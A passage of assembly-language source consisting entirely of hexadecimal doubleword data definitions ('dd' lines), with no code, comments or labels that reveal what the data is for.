0DA1058C0h, 0C53480CAh, 2A81003Bh dd 7335C550h, 83FC0097h, 9A4B57BFh, 0E21CD5AFh, 0E3007253h dd 0DC5AEA8h, 500B012Fh, 5EFA22F2h, 0F42387h, 74B04C9Ch dd 0FC976DEBh, 6930008Eh, 0BB8D6A2Ah, 43147D83h, 16FDA787h dd 6100C8F5h, 7F6BFD21h, 0EE033B82h, 7A1DEA06h, 0E7E8FA5Fh dd 10E3E100h, 0ADDBBE9Ah, 0DF430777h, 1001858Dh, 2FE53CF3h dd 0E92B7201h, 0A746B374h, 72920F8h, 0D2E62179h, 76438095h dd 40B8D790h, 0D9F63Eh, 0B7192A33h, 5EA9DEh, 8E7FDB51h dd 7177136Ah, 38EC2F30h, 1B63DF7h, 3BA8CEF3h, 80EA0291h dd 0A4559918h, 6AD4A82h, 0BE630A7Ch, 5B00A8DFh, 0A2909E88h dd 123BF5E9h, 2F9726Fh, 11A61B9Fh, 8A0B00D7h, 0E767ECFh dd 8E9155ECh, 81D5A8E4h, 0EC983292h, 3F30E1E6h, 717B308Ch dd 78D760B7h, 0BF6A5292h, 0CFBAE400h, 0DC5E6BA4h, 0B1942A0Dh dd 14FBB040h, 40EDBBFDh, 67513A8Ch, 408B7A00h, 41246CA9h dd 156600FAh, 0E4BCF98Fh, 691D0ADEh, 0E05319Bh, 2C40BF1Ah dd 0E9B78B4Bh, 303C433Dh, 0D595D9E5h, 2084038Ah, 0A87F3445h dd 7C3D3803h, 37190B3h, 0E826FB11h, 98A860F4h, 0B23ADB01h dd 0DED71892h, 719B20h, 0DDF5D4E8h, 0BE8FDFE7h, 2B80AB05h dd 0AB180A7Eh, 7958529h, 0C2E283C4h, 1DDC90E4h, 0B7032336h dd 5EB90EA3h, 0ADBA09Bh, 722E120Fh, 8C3F00C8h, 57F6F244h dd 7B782A00h, 3A85B58h, 0F91B0096h, 39DB55FAh, 0DC744163h dd 9EA8D9C0h, 9A081Ah, 205DEDE5h, 38E05222h, 6D496790h dd 0C80F7950h, 80BA80A4h, 77CF93DCh, 16C00C84h, 0F849A178h dd 8F0067F8h, 1BE1B938h, 1C5E2C48h, 0C01D4DF9h, 0BCB9F78h dd 0D200A9E0h, 9766A3F4h, 0AD0AA656h, 16B803F0h, 40FFF01Bh dd 2EE5D53h, 686F2800h, 4D186ED3h, 5A2B002Ch, 96E4FCD2h dd 37E845EEh, 0B866DF01h, 0D5018377h, 2959E0h, 5ACE96E5h dd 0A07F566Ch, 6E23B07h, 0A14348C4h, 0AE200005h, 2A866FCEh dd 5D000835h, 0D6925C21h, 0C04F9744h, 70901481h, 7C0CF9ADh dd 78AF8E22h, 0E21B008Bh, 55E502EDh, 7D006F4Bh, 0A7A84F44h dd 0F686FFA1h, 6EDA00CEh, 2EF18110h, 2C38674Dh, 9EED805Ch dd 0C02399E1h, 4B321FE5h, 0F8C706F0h, 813A50B4h, 0A95E034Ch dd 0FB5583EBh, 8F80D42Bh, 39DDB5h, 933B78FEh, 117B0933h dd 0CE004FFCh, 411B5C13h, 70B8263h, 85E3DBAh, 2A48D0FBh dd 9C7CE4E3h, 0F9AB1201h, 0EF6B54Ah, 1694EF4h, 92B76B7Ch dd 0C82B3F02h, 60E6DE3h, 403059ACh, 4E3EFEB8h, 0A63D0B08h dd 0C4809DC9h, 0E1480299h, 0C0B75507h, 5360DB20h, 7778EF0Eh dd 1E981EACh, 0E2803936h, 0D0F6D77Fh, 1015143h, 12C7114Ah dd 0F0D82581h, 4E3D0FB9h, 0BD80A598h, 0C3447BCCh, 0EEFAF350h dd 48F4BB00h, 0D5A6B8C1h, 6B1606B5h, 50F87CF2h, 2E00B4F4h dd 9EC67E0Dh, 18729ACh, 6E00740h, 0E6FD0C96h, 6BD0F280h dd 570FB682h, 4093271Dh, 0B130109Fh, 53010040h, 0F2A17DDBh dd 7300387Ah, 5FE0AB81h, 97C378Dh, 6104C375h, 18C05C78h dd 0F33A8C4Ch, 0DDE8ADh, 1C1635A9h, 5B623052h, 8955170Eh dd 0B91D865Ch, 59080020h, 5E1105F6h, 0F90021C5h, 0D5695C5Dh dd 0FA27FF7h, 71788720h, 0C9DDB800h, 890E4460h, 0EB906B67h dd 66A80FDCh, 20D4E7h, 30434B83h, 259B652Ch, 3CCED4E9h dd 38BBAB00h, 4ED5A5F8h, 289976DEh, 19CB62Fh, 15318598h dd 60FC3B5Eh, 0FD741724h, 0A9DA7F00h, 301178D5h, 4EE5001Bh dd 0B16C8C43h, 2E362C68h, 0C0E9583Fh, 292B8F59h, 800ACA7h dd 96377892h, 3D03FC57h, 861DF54h, 0D8AFCE8Bh, 340023E4h dd 4EFBC5D5h, 13340E9h, 90A282DDh, 0C4438BACh, 4B0AEEB1h dd 2CCAB9CFh, 62377C8Eh, 193D1C57h, 20701081h, 7410F34h dd 0F1AC104Ch, 0FC007919h, 962BD755h, 0CB596Ch, 3D5F60EAh dd 5ED9228Bh, 0DF1C4A2Eh, 0E0F92B07h, 68384Ch, 63580D0Fh dd 881D4C5Bh, 7F62824Ch, 523B21C0h, 7666F7E7h, 0EE1E00FCh dd 547C6427h, 1600CEB2h, 0CF51D4BAh, 0AF376Eh, 0E543F42Fh dd 0C5F7F5ABh, 2736450Fh, 5EBF2h, 64F91E1Dh, 3F7EAAh, 0B03A0601h dd 8375E57Eh, 611A48h, 0ADC8033Ch, 0B16545Bh, 558F4C24h dd 1EEC0080h, 74FE4F77h, 41402700h, 0D4108CA6h, 0D5C000EFh dd 499CBC1Fh, 0FE776123h, 70CB4F00h, 4484D0FDh, 8D595C9Bh dd 7DB8B101h, 0CCA19C0Eh, 0D51FF503h, 5500D081h, 64097466h dd 0F05713D1h, 9A790383h, 4F02572h, 0E37468CCh, 0D4D8FCA3h dd 5648F541h, 80383E34h, 867E0C01h, 0A3F667h, 88CE3EC7h dd 5506EB17h, 7339A100h, 0CD0105CAh, 2A8D3AD1h, 0A40F629Ch dd 0CC803D10h, 74CBFC54h, 80E0FE95h, 643B0D00h, 561ACF29h dd 35631DA9h, 7E6F40B1h, 0C3BEE897h, 73AAB800h, 9836EA52h dd 0F04E00BCh, 7721B945h, 462E025Ch, 900F0A4Dh, 6150E0FDh dd 308D082h, 0AD0AFF74h, 87D89A7Dh, 2400A149h, 0F488F78Fh dd 34872C2h, 8B7EF679h, 6DBB0595h, 6CDF8AC0h, 1D37A600h dd 0D2933DB5h, 78AA035Fh, 98AD7F33h, 0B800268Bh, 99E66AF5h dd 0BDA306h, 71C15801h, 0BAAE83EDh, 0F4F73200h, 0CBE2D435h dd 4DA0041h dd 0ECBDE84Ah, 0C903B0D9h, 0FA4FFE1h, 3C07880Bh, 7AD1EEA5h dd 0B8FC0034h, 6502E31h, 3F011B14h, 0BFB20581h, 76FCBD6Ah dd 103B0FBCh, 0EE2039A5h, 0AC182875h, 820081E4h, 0BE6E29EAh dd 0E82AFD9Fh, 673B0051h, 355490Dh, 0FC071A8Eh, 0B8CA3832h dd 62BBAC0h, 7B9D0004h, 19E636D4h, 6B3DEE4Eh, 5DB18028h dd 79E7F53h, 7BD700E5h, 44F9D87Dh, 0A64C0EBBh, 69BC007Dh dd 94CBAEECh, 0C9681D37h, 90E0408Bh, 1DC44FABh, 287E5900h dd 30F980Bh, 37AD00FFh, 9D6EFBCDh, 0AB04C6EAh, 5460F3A2h dd 71C01087h, 0DE57A5h, 0BB029BD5h, 0E412EE59h, 0FE45F805h dd 9C00F7CBh, 0D79E3F56h, 0B2BA0E82h, 78812B58h, 0C0437374h dd 0C63C2AD3h, 0DC3D0002h, 80F91605h, 0E3CE28Ch, 7D2686C7h dd 3D85CF00h, 8F010DCAh, 0C5B22D4Fh, 0CE31C73Eh, 2E1BC4CCh dd 398969h, 68E11EEDh, 0CC00AD50h, 91275E45h, 35799Dh dd 0A7ABDFB2h, 0A95F81D1h, 55F8C500h, 456C8250h, 47F20022h dd 7695A072h, 3A005C1Ch, 6507845Eh, 0CC3F75h, 2CDD7B82h dd 0CF9DC34Ch, 3556BC00h, 0AECBD9B8h, 9726033Dh, 6FEA30FAh dd 27DF61A8h, 0A916770Fh, 0B2C2079h, 0E0AE02Bh, 458137ABh dd 0A1C0A5EEh, 0EE577FBDh, 640EF300h, 8444B7A6h, 8B1B0325h dd 0A73E3613h, 0BA02C298h, 95F49201h, 4A2FA228h, 0B8AF07E0h dd 391F0083h, 1450A764h, 3A0F2BDBh, 0A07BDC6Bh, 30DA9B9Ch dd 0DCF35026h, 3B0C009Ah, 3DA90711h, 450046F2h, 9356CBD5h dd 19B24Fh, 0BC15448Eh, 0F689A2A5h, 99794C00h, 0DC3A6283h dd 0D2370002h, 9E252E04h, 0E00030BDh, 5B1F5EBFh, 0D74831h dd 919D374Ah, 2E53428Bh, 6D9A7007h, 5850FACBh, 19CDD4Ch dd 7C663B08h, 0FCD38731h, 0AD0F622Ah, 1BC2DC1h, 26C4596Fh dd 0AB9730h, 63B58D41h, 0EAFD1E66h, 80D4091Bh, 9819A89Eh dd 0DA0F0032h, 0F8A0FC97h, 0F93928CCh, 79269C08h, 84337C80h dd 70583095h, 91CE0096h, 218305E8h, 9703BB8Bh, 0E37DD8C9h dd 88FCA3A6h, 24E5386Ah, 48FCF724h, 264E0084h, 8F2C0DB3h dd 7FC98101h, 0F7B8BCD9h, 0F27BF9C0h, 71C51E27h, 1AB2C0A4h dd 404EFEDFh, 0C14D8C00h, 96D487CBh, 0CE4B30FDh, 0CF498854h dd 0B95EFE00h, 365BE1B2h, 0FA400057h, 0A0CDE7D6h, 400B3EEh dd 0E032DA47h, 0C58A7Dh, 6FCA8BBFh, 937E6ED4h, 3EFA3100h dd 0AC02F160h, 3B5A0066h, 55F9A2ADh, 0C60088C4h, 24A5D93Ch dd 1631CE62h, 5A4544h, 7C709EDAh, 0A80068D0h, 9B228058h dd 0C463B0h, 1CBB07B5h, 5E40EA0Ah, 5A723F00h, 0C0A756B8h dd 0D451074Fh, 409DDBB4h, 58DD9A61h, 0D52E821Ch, 1CBDE2C0h dd 0E7235FEh, 0F2C5813Ah, 9193FAC0h, 61EE9AC1h, 0BB496E00h dd 0C853168Dh, 9CCE3B65h, 0ED450780h, 3F73815Bh, 3A5E0C02h dd 89F5B164h, 48CF83B3h, 80D5C992h, 3CCF7D4h, 9332F2E6h dd 0A1F8752Fh, 941F67B9h, 53012BB4h, 0C6B0A68h, 0E05EF0h dd 5740623Bh, 23AED93Ah, 738DFA3Eh, 0A4B84500h, 52E330FDh dd 0D8AB03DBh, 570EAAA7h, 0E98706F8h, 2D04B00h, 0AB891B19h dd 34CF000Dh, 3CDE684Ch, 587B3BBAh, 0D55E6200h, 0BB278C45h dd 7AA20942h, 0D0066784h, 0D90318ECh, 0DF4CEB56h, 0B773A859h dd 93150EBBh, 0C49CF79Eh, 0C0A46FC5h, 14245DF1h, 5AA93900h dd 77E13E9Ch, 0CEC6005Fh, 4E2F68A7h, 4C3C5C7Dh, 3D240007h dd 0A90F2B80h, 80C0064h, 5DD111EDh, 6500EC7Bh, 88BC955Fh dd 0CE721Bh, 278024CAh, 0A8FAD136h, 0D0352607h, 0E9A31FCDh dd 8B33F03Fh, 48BC7B45h, 921D9DF0h, 362F438Eh, 91E754BEh dd 0F5097505h, 5D42804Fh, 108598C5h, 12A990BFh, 0AC420Ah dd 0A5868C4Ah, 800D7C3h, 69D87509h, 0EE8F9893h, 0D5F7006Ah dd 0B1DE9620h, 4272E1F2h, 0DD923500h, 840EC0B6h, 24631782h dd 40561FE0h, 45AD9578h, 8C00649Dh, 153C3EB8h, 9A1834h dd 1C9E060Fh, 292F2DB9h, 0B77D8D0Fh, 0CC7160D9h, 1E3EC331h dd 418EE91Eh, 0F789F3EBh, 39B1E423h, 32BC5000h, 0A00521E3h dd 0B55600FAh, 0C56D4A3Eh, 770C91C2h, 1049144Bh, 6BF200DAh dd 0C0CBD39Bh, 84002AD0h, 90BFD9B6h, 0BDCCA4h, 0F18D50A2h dd 86C49E57h, 7500B1E4h, 0A09F18CDh, 0DF804Fh, 420D2951h dd 8C359514h, 0CB65AE00h, 0FFEB5F84h, 7982008Dh, 0BE57EAD6h dd 0F0F2B744h, 71C4B409h, 461802C0h, 0EA26E03Bh, 0C8F13B4Eh dd 8900DC58h, 56AAD09Eh, 4F00E702h, 8060DBF7h, 0F1F6F9h dd 5F17C6A6h, 0B232779h, 7DBAA800h, 60482136h, 0EF94A06Fh dd 0E5540EEEh, 1DA0929Ch, 1C2C558Ah, 56000C90h, 82E64DFCh dd 0D726F0h, 0A64E10BEh, 54236B1Dh, 70EFCCC7h, 0B871B8D3h dd 1CD33Ch, 4F81322Dh, 0C2AFEACFh, 0CD70E800h, 879F4994h dd 0AEEE29h, 2E42F073h, 6E52233h, 88DE4A00h, 0EC6F44A6h dd 1280C05Fh, 0FA0D1D5h, 27A5200Ah, 9A86E8BAh, 417A99h dd 0CDC554EFh, 0B0C6E482h, 0D05F9D00h, 2D59E73Dh, 27700098h dd 0BAA6399Ch, 0B07DF653h, 0B3ACC607h, 78902B8Fh, 3E492935h dd 6E1F03E4h, 2EFC00B1h, 0A63DCC1Ch, 4E0CCEEEh, 198D24C3h dd 527A2A0Ah, 0DA050F90h, 0C3E0BFF8h, 955321F9h, 101B0928h dd 28A0B7F6h, 0A600F528h, 39BFE1ACh, 0E6D9214h, 0BAB221EEh dd 56A09F0Fh, 9DDF799h, 0F01C48B8h, 2343F8F3h, 68256D89h dd 60044850h, 6DF99417h, 0C9BB82Bh, 306CA5D3h, 711D00D8h dd 0D5B491C1h, 0B707F6BBh, 0D975D30Dh, 0B61823C1h, 9AB1988h dd 18448245h, 6A21078Fh, 42270816h, 14451411h, 0A5B100Ch dd 4AA2849Eh, 10B304D8h, 41FFBA21h, 8141718h, 0C19503Bh dd 2054866Fh, 642A33Ch, 5424692Ah, 51E63C07h, 0A2FA0C15h dd 11FB873Ch, 0BD19829Fh, 4076CB26h, 2B0F74Ch, 0FF463A27h dd 0A89087B5h, 0B400CA7Ch, 93B259ECh, 337C70Ah, 57C6A2F6h dd 80AFE7AFh, 394BD0E9h, 0EEC96707h, 6BB18A56h, 0D4D8BC73h dd 5CF60068h, 5EBB1685h, 9E1C9674h, 55C7A948h, 22E7BA57h dd 0C992FFC0h, 393507CEh, 0E17A6866h, 0D07BEBDDh, 0E200D195h dd 0D6AF6D59h, 5AE75h, 1A0FE866h, 1667BA21h, 3C004CA4h dd 93B59ECCh, 782B01A5h, 0D26F00B6h, 4451CF74h, 856038D5h dd 2FF734B4h, 0F6ED007Ch, 0DA9293ACh, 8901557Eh, 0CF4CB299h dd 6D202D17h, 0ED380EA8h, 0F861B125h, 5827ACD8h, 8843AF1Ch dd 11AE2FC0h, 3524C6C9h, 4B1EFBBFh, 13003FDDh, 1F552DA6h dd 9D4409EBh, 0AA8D3AAEh, 44A404C8h, 1F5BACC0h, 0A33D0BC0h dd 0D0F135DFh, 68001440h, 5E934C47h, 12EA9DB2h, 4AE83300h dd 54069E82h, 14FE701Fh, 5C291C55h, 0D31A6FC0h, 0B30354F7h dd 48539B56h, 2391F8C3h, 0B7BB3F21h, 73CC3E00h, 0B105B6F6h dd 0AC60933Eh, 3203AF49h, 0E458F13h, 0B6867C89h, 0B03B3D81h dd 1F1020ACh, 0AD20C703h, 5FF66Fh, 11867829h, 0B36D743Bh dd 0E98CAC0Dh, 35C5B031h, 0A6011DC2h, 0C078DD4Eh, 4CE08A0Fh dd 1EA0E70h, 493D76A3h, 301E2688h, 0AF2453D9h, 46806CFAh dd 3A4CF736h, 1838921Dh, 40556088h, 871C631Bh, 35D4C28Eh dd 9E410E18h, 10F18125h, 0DDF4CCDBh, 0D482024Bh, 36B26867h dd 7E10744Ch, 6BC6FF3h, 79460D0Fh, 408002Ch, 0CD0EB7h dd 0D61F97EAh, 85228A59h, 26CC4248h, 0A206CE5Eh, 0E8413AE3h dd 0FFD4058Dh, 404F7CA9h, 58CECD80h, 460285E2h, 11E2110h dd 0CCAC9590h, 3A097898h dd 598D635h, 0E6853490h, 24869428h, 0EED475F6h, 57F0DACAh dd 8C6D6A8Ah, 1185803Fh, 0B3A9E5E7h, 432EF2Fh, 2EAFA6C0h dd 100A249h, 0B60DD028h, 0F0B3BA1Ah, 9F9B1254h, 76E83ACEh dd 4240DC93h, 0F0C79D0Eh, 3BD2004Ch, 5604ED21h, 58999CFAh dd 0EFDADD43h, 0CD4BDCE0h, 0D2710135h, 0DFE0A6B2h, 97A0C385h dd 0FA007831h, 58DED61Ah, 2EE3960h, 0C3CC7FF4h, 9A40EA33h dd 24ED7D52h, 8B00C608h, 22747913h, 4CA95614h, 351F8DECh dd 87CF0596h, 3BD02028h, 0A23AB124h, 30AC0220h, 45816BBAh dd 852E7064h, 0DC00089Bh, 68512642h, 1DA3030Fh, 0F0B0D061h dd 758A4980h, 0CD486004h, 0C8A1073h, 28B1D8F0h, 0EC25E926h dd 0F50D2C04h, 0B353A840h, 541446C2h, 29D82048h, 7356FCC9h dd 0A87F0148h, 0BF74CD49h, 8EF4483Eh, 0AC27051Eh, 80878CE8h dd 380C7F0Ch, 0D028B3CEh, 0AF580D64h, 9040F4E8h, 41F81442h dd 3870603Ah, 4687FBC6h, 31DE18F0h, 0A430E0Fh, 0A10F081Bh dd 0C4791FF5h, 44433CA6h, 0DE3CF6A2h, 26F9224Fh, 8B9C3E58h dd 0FC03C093h, 0F0167C31h, 200070EAh, 428769A4h, 3C4091EBh dd 0B5130C5Ch, 937040CAh, 153AA6FEh, 2D05A103h, 0DBAA659Ah dd 27481086h, 0B49C4073h, 0EF96F8A1h, 857C80BCh, 3CB867BCh dd 0BF793A1Ch, 38D0FA83h, 432C8929h, 407875h, 30B03EB6h dd 52D92273h, 40C02031h, 77879C33h, 2A8FAF7h, 0A0BF76E4h dd 0E4AAD107h, 0A05895C8h, 0EDC95709h, 5DE69030h, 8A60561Eh dd 9740D066h, 549869A8h, 0A7C6D8BAh, 91580604h, 200103Dh dd 93ABEDA4h, 1561F94h, 0BEE5CF8h, 0E0A8F2C2h, 0A3064776h dd 81930E3Bh, 1B9418D8h, 0F3AF294Bh, 4402F040h, 0F2EFC944h dd 21463702h, 2F33A0Fh, 7B28831Eh, 13293020h, 0C1B08851h dd 0E1C4A000h, 0AF1E34FEh, 4C8EFA08h, 0EA1E25ACh, 645C00E2h dd 695AFAAEh, 2E23FC0Fh, 47F8A042h, 5C17530Eh, 0ED0776C0h dd 0B05AE181h, 59CC3AEEh, 290C6700h, 5DBC3843h, 3B8C00CBh dd 206008BFh, 920AF9B4h, 0ACEB76C0h, 0DF418300h, 95ABD6h dd 0DE70224Fh, 94B51BCBh, 612BA700h, 18CAE8A6h, 17011668h dd 0F74C00C1h, 77A24C28h, 2AB58E00h, 70C7A423h, 7DA3006Fh dd 0D54F9790h, 9369DF83h, 1ADB0020h, 0C087BB14h, 5561F410h dd 8600137Ch, 4C51E708h, 0A0B980A3h, 0EF0DCh, 0E535C2D6h dd 0F39A823h, 0F6CDF200h, 5CC94990h, 17B800A6h, 0DB824072h dd 0A9769CD6h, 807F953Eh, 2AB6BEE1h, 1B50B4Eh, 0C4F704F5h dd 0F89D15ECh, 0A0096C1h, 0B701DE5Eh, 0BE7D45h, 7C84EDF6h dd 6F1E5328h, 6A3E0C02h, 758D745Eh, 208174C2h, 0C63D63CEh dd 0B573CC40h, 0FB3A58h, 0EC08D275h, 2B1A45Ch, 0A784369Eh dd 0F2E04595h, 0AC006DABh, 11C94F54h, 661352h, 0C13F7488h dd 62982AFBh, 1EB4793Fh, 25004A6Eh, 0B5A0208Ah, 0E8E503EFh dd 53980271h, 8F90FBF0h, 27CD8BDh, 0DE27B193h, 0F040D778h dd 500301D8h, 0FBAE4F5Bh, 0D662B841h, 20C13D38h, 98034D3Fh dd 0C51BBF05h, 7519CE98h, 0B99E5Ch, 0CA1C116h, 35097Eh dd 914AB53Bh, 0EB51F383h, 3E4C9402h, 483188CBh, 0E71D7BCh dd 58165608h, 0D326C6C0h, 3339DF9Ch, 1D007E6Eh, 2C343AACh dd 9AF5D2h, 95157AA0h, 27394CF6h, 0E508C21Eh, 0E7174700h dd 0ED8CC5h, 0A95F80BAh, 7927F03h, 0C844F112h, 9FFB1200h dd 663379h, 90A2413Ah, 0DF11DE92h, 1EDA6300h, 2309C25Eh dd 39F0F03Ch, 0D90313BAh, 0E3E8CF33h, 0DB4AD0C8h, 0B2459930h dd 0FBE4675h, 798590Bh, 0D2E3520h, 0BD008041h, 615BE313h dd 0A0BAEE3Bh, 26EEFB1h, 0E15CCAFh, 11E06988h, 0E400DE6Dh dd 96EDD6A4h, 12A93Ch, 0ED064D1h, 4901513h, 2AD70900h dd 8927919Fh, 34BB0EB8h, 7767F905h, 75A1D098h, 0A0067A2h dd 5944E450h, 45D2F78h, 85BE9207h, 0A0308739h, 10BC0284h dd 0A62D720Eh, 0EE80BE0Fh, 0E76D397Eh, 8835051Bh, 0BA43144Ch dd 9B5A6600h, 7B72BFh, 0C1AF5264h, 21837707h, 0FC763004h dd 10C0AB4Ah, 0B10FBCh, 0C13290BAh, 50F0E9EBh, 8BF5CD0Ah dd 2C0F9C0Bh, 62E00D9h, 9A8F78Ch, 0D73FB730h, 0F55AC800h dd 0F9009E76h, 6C3AF367h, 5A2A529Ch, 0DAE80Bh, 0A5733331h dd 126728D3h, 1FE2E43h, 45ADC3C6h, 0F67CF010h, 649F3600h dd 0B98D6949h, 0A8871D06h, 0DA08CE94h, 0FB471802h, 0A6130C58h dd 5F026CDCh, 40BE7229h, 0BD5A60h, 54A78C7Ch, 0EAE8874Ch dd 0B2030C98h, 74A483D2h, 2DC80A12h, 3941A0Eh, 0EC5773DDh dd 43D415D8h, 0D374ED00h, 5F5B9D85h, 14665CA4h, 0A87A79h dd 132D19F4h, 0AEF2778Ah, 0D28C1F03h, 0E98B61h, 89C8F669h dd 55750B39h, 847DA001h, 211CFDF4h, 0F9BDE0h, 0A81C5B5h dd 865C3647h, 347E9000h, 9416CE3Fh, 5FD200CAh, 5EACBC3Ch dd 562676ADh, 54802CBAh, 0D70A0DD1h, 5A8100FFh, 605CB5Bh dd 0DC0049BBh, 0ACBEE7E6h, 0F83A278Bh, 25650090h, 60CFB22Eh dd 2B1C5666h, 5FC053C2h, 0D9E2334Fh, 0FC405043h, 7FDB23C0h dd 18508889h, 0E26F1D8h, 0E1ADE52h, 107FCAE0h, 2100788Ch dd 0DC41803Dh, 0F3E6DB0h, 0D1BB8EE3h, 871A1441h, 0DAD4C04Dh dd 0F9347200h, 0B7FB25BEh, 3D3A0047h, 0CCB26CF5h, 0F201FDADh dd 28407504h, 0BC6121C0h, 0FA779BECh, 0B973E5h, 0F6B8823h dd 0DBBE1966h, 0AF959200h, 902DB00Eh, 61F0002Bh, 3A2C6304h dd 0F00F666h, 78DB930Bh, 0EE208374h, 81EB0014h, 84AF8EDh dd 30C06F80h, 0CE430903h, 156400B9h, 0ED5DE9F3h, 47003D7Ch dd 240C684Eh, 19DC825h, 1CB9D45Ch, 0D0E5BEBDh, 0F0020ECDh dd 284BA3AEh, 0EEC4E029h, 0F34E00DCh, 0BAF77098h, 0D3006D01h dd 0A3856124h, 3809E97Ah, 9D81FC6Ah, 39B04249h, 0C0612189h dd 900079FFh, 3351C7C1h, 7D948D5Eh, 0C0383CCBh, 0FF2D6800h dd 4A98A5FCh, 50377F07h, 249054A8h, 3EFE341Bh, 0FD0097F0h dd 0D4DFFAD2h, 0AE0019B8h, 0C106A543h, 10A1181h, 0BC44AFD0h dd 0D099E3A4h, 5300CCDBh, 154391Bh, 826AEEh, 46E85891h dd 0F72C6442h, 4F47A426h, 0C4789301h, 1C315BE5h, 0F8562530h dd 0BDE13BA9h, 260E75ACh, 6FAD0FF0h, 0DFC2620h, 7C008C7Fh dd 5F9BCA46h, 305B51ACh, 80DE9093h, 0E00EB9Ch, 3EE36A3h dd 5A04A1h, 0E457C5E0h, 0ED141CF8h, 9C00AF7Ah, 0BF83976Dh dd 4711280h, 8B9505Dh, 0E08CA0FDh, 33F86A00h, 39437BA3h dd 3134007Ch, 52D8EAE2h, 0CF01B705h, 3770F438h, 0EA8022DEh dd 557A3BF5h, 0D9003E13h, 2067FE64h, 8995C5h, 75FE558h dd 76CFB43Bh, 70CE6126h, 7A8EAC02h, 772060C5h, 8CD700C0h dd 4A9E0255h, 7C005464h, 5B2AB7DBh, 0B8F692h, 5CD8A03Ch dd 10120381h, 9900FF74h, 0C46AF354h, 0BFE77Eh, 764ECA8h dd 146CA29Ah, 0E401D2EAh, 3E5982C1h, 0C0EE8689h, 1EEA3C4h dd 0A11210D4h, 0F3A7643Bh, 6B0CFA3h, 0D00924F3h, 80CAAA2Ch dd 2FF7FBA8h, 0D30201AEh, 970E626Eh, 2916CC0Ch, 7503B5F0h dd 79D7F478h, 0FC8A1EF9h, 2AA6B981h, 8B20258h, 0FE4037D3h dd 8501E513h, 91B6FB80h, 0E080DC1Dh, 54826A5h, 69603170h dd 476D0760h, 59963A9Dh, 6056BD00h, 8B29E8F0h, 0C46A5Dh dd 73461F0Dh, 4A7CE5h, 0F0252BFDh, 0F7819496h, 0C12CFCB8h dd 88037C1Dh, 0C0D5B0EBh, 91E0DCh, 494BDA43h, 0AAB485Ah dd 42EE0F00h, 0D153F889h dd 0C9110FF7h, 5BF282Fh, 0C0331C91h, 0AC2B8CA0h, 2A56C200h dd 5A626B30h, 634D0045h, 7C1951AEh, 8EE259D6h, 0ACDD3A3Fh dd 813B75EAh, 7317CE1Dh, 0CAD4A577h, 710E7F14h, 0B6663A3Bh dd 0A69E3800h, 39B27E26h, 22543D01h, 4FA7728Ah, 0F09125DCh dd 0F0B81CCEh, 8F650089h, 2B1053D5h, 80AFDC39h, 20ED74C4h dd 399304Ch, 6D88CECh, 201EF708h, 3F005444h, 1A1F2B2Eh dd 0A2590067h, 10B70C39h, 3C900AF9h, 6C8F4C07h, 0ACA071AFh dd 2C0C4D34h, 35D0901h, 8FA9B507h, 85355100h, 2C5DA705h dd 941903A4h, 8FFD5F3Bh, 3ECC5A90h, 0C34D0700h, 0BB895805h dd 0A61C00AEh, 0DDE24152h, 40732085h, 5079E700h, 389F430Ch dd 0AB21007Bh, 5FEAC336h, 9D00B99Ah, 859049EFh, 3AE12029h dd 0D697D875h, 988900DBh, 38D4729Ch, 0E730D001h, 21EF1A51h dd 0EA4E03E7h, 0B51F936Eh, 8E9B123Dh, 60F9E4BDh, 3826BCDDh dd 16E7F639h, 0AB7B1D1Ah, 11F8D100h, 0D4164Dh, 24B635CEh dd 0F5D0DC6Ah, 0FBBA9C00h, 0C32699A2h, 848E0765h, 0B0C6C2B1h dd 368FD2Fh, 5B32301Eh, 6F7F3780h, 31EB9DDh, 4086216Eh dd 71C893EAh, 3B00B4CEh, 0A2018CD0h, 0E7113Ah, 4A8D5214h dd 6A999DB6h, 798AAF03h, 0B3F3A2C7h, 0D8729832h, 25B901D2h dd 0D3376AEFh, 620CE0FBh, 0D14D7A1Ch, 0E30F0400h, 0B886E5B2h dd 0F2BC0099h, 0EDF8EECDh, 1D005113h, 0FB3FD6E2h, 2CB4A217h dd 80A4C280h, 0F20A3BC7h, 0F600206Fh, 57A448CAh, 3D96B0DBh dd 75838EE5h, 0E0BD6724h, 4C9B43C8h, 0A1654800h, 0C2463A8Ch dd 827938A4h, 0F3668680h, 72CDCCBh, 8049A73Ch, 0A1B5C062h dd 7602D16Eh, 5F4101C1h, 0FBC3E5B0h, 57E0F838h, 462A7407h dd 0C270234Bh, 0A615D3h, 6BB4BA2Eh, 0F5C19332h, 0C07DF426h dd 0D388A300h, 26A918BBh, 809C306Dh, 225F209Ch, 0AF0C27D8h dd 1808EFD5h, 0DE7A0FA2h, 76A2CE7Eh, 3460FBD4h, 90073C55h dd 8013D89h, 16204EF1h, 0F64DF470h, 34CF00E7h, 0BDBC9B94h dd 140048F3h, 6613412Dh, 8A0BC7h, 67798DD4h, 58387C7Ah dd 5C740518h, 0DEEF40h, 0AF8DF7C0h, 0DCE1C9D6h, 0CA956100h dd 0E086B06Bh, 3005E2F5h, 84305F1Dh, 0ABE8D341h, 13618D00h dd 80F3947h, 0BEA9002Bh, 5F30B4A3h, 0F9C0321Ah, 0AED4CA06h dd 0F2E300E6h, 950414FEh, 0E43CB161h, 0C83680CFh, 208D4532h dd 0DD9B0082h, 3839D6D5h, 0B20E2C48h, 8FB93F63h, 56D00036h dd 3C8C4D8Ah, 62307DEFh, 988815A9h, 6A365400h, 0D4FF0434h dd 5C3BB033h, 0C803858h, 2D6CAB1Bh, 1017820Eh, 206AE032h dd 8A280Dh, 0FED3EC86h, 0DB5AF599h, 1B023F7Fh, 2AB4BE03h dd 0F4ECC8C3h, 407D00A2h, 0BD0E0EFh, 840B6C28h, 5F9977Eh dd 37802738h, 0C0B84877h, 22C2B5A6h, 0F700445Ch, 0C1E1E306h dd 38471F13h, 493E4DCh, 0C4F800EBh, 2D2C2497h, 0E8E58A07h dd 5F91947Ah, 856106C6h, 108A542Ch, 0F56D03ECh, 0DDB8B84Bh dd 601DF44h, 67903F1Ch, 1660F44Eh, 0E43200BDh, 9735FF5Bh dd 270AFD53h, 0E0919FCEh, 2FCBA800h, 0FE5D23h, 83200DC7h dd 0C19D4D1h, 9ADF9300h, 0E299C987h, 3510CC08h, 163D0D08h dd 0CDB20005h, 335D9F31h, 0A0630F82h, 1A602E8Eh, 0EE4A1226h dd 0D285ED00h, 8B5F2A9Bh, 4CFF1E3Ah, 0D8ADC928h, 79000D0Eh dd 0EAC13CD9h, 0EE52BA00h, 82ED48C2h, 0FC800147h, 55F0FF65h dd 0D40DF478h, 66442D00h, 357386AEh, 8FAF00C1h, 9A9E62BBh dd 2D02F302h, 39778A05h, 0F8808031h, 